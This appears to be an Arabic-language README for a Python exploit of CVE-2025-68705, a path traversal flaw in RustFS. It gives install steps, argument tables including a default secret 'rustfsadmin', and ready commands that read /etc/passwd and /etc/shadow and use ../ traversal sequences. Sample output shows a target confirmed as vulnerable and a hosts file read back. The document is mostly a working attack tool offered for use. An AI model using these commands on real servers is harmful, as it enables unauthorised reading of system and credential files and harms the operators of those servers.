
نص استغلال بلغة Python لثغرة CVE-2025-68705، وهي ثغرة اجتياز المسار في RustFS، مما يتيح قراءة الملفات بشكل تعسفي والتحقق من الثغرة على الخوادم المستهدفة.
يستغل هذا السكربت ثغرة اجتياز المسار (CVE-2025-68705) في RustFS والتي تسمح بقراءة ملفات عشوائية على الخادم.
requirements.txt للتبعياتgit clone https://github.com/yourusername/CVE-2025-68705.git
cd CVE-2025-68705
pip install -r requirements.txt
python exp.py -H <host> -p <port> -f <file_path> [-s <secret>]
| الوسيط | الوصف |
|---|---|
-H, --host | عنوان IP أو اسم المضيف الهدف |
-p, --port | رقم منفذ الهدف |
-f, --file | مسار الملف للقراءة (اختياري مع --check-only) |
| الوسيط | الوصف | الافتراضي |
|---|---|---|
-s, --secret | مفتاح سري للتوقيع | rustfsadmin |
-o, --offset | إزاحة قراءة الملف | 0 |
-l, --length | عدد البايتات للقراءة | 4096 |
--check-only | التحقق فقط إذا كان الهدف عرضة للثغرة | - |
python exp.py -H 192.168.1.128 -p 9000 -f /etc/passwd
python exp.py -H 192.168.1.128 -p 9000 -f /etc/shadow -o 0 -l 1024
python exp.py -H 192.168.1.128 -p 9000 -f /etc/hosts -s customsecret
python exp.py -H 192.168.1.128 -p 9000 --check-only
python exp.py -H 192.168.1.128 -p 9000 -f /etc/passwd -o 100 -l 200
python ./exp.py -H 192.168.1.128 -p 19010 -f ../../../../etc/hosts -o 0 -l 100
[*] Target: 192.168.1.128:19010
[*] Secret: rustfsadmin
--------------------------------------------------
[*] Checking for CVE-2025-68705 vulnerability...
[*] Exploiting CVE-2025-68705 against 192.168.1.128:19010
[*] Reading file: ../../../../etc/passwd
[+] Target is VULNERABLE!
--------------------------------------------------
[*] Exploiting CVE-2025-68705 against 192.168.1.128:19010
[*] Reading file: ../../../../../../../../etc/hosts
[+] Successfully read file!
[+] File content (offset=0, length=100):
--------------------------------------------------
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastp
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.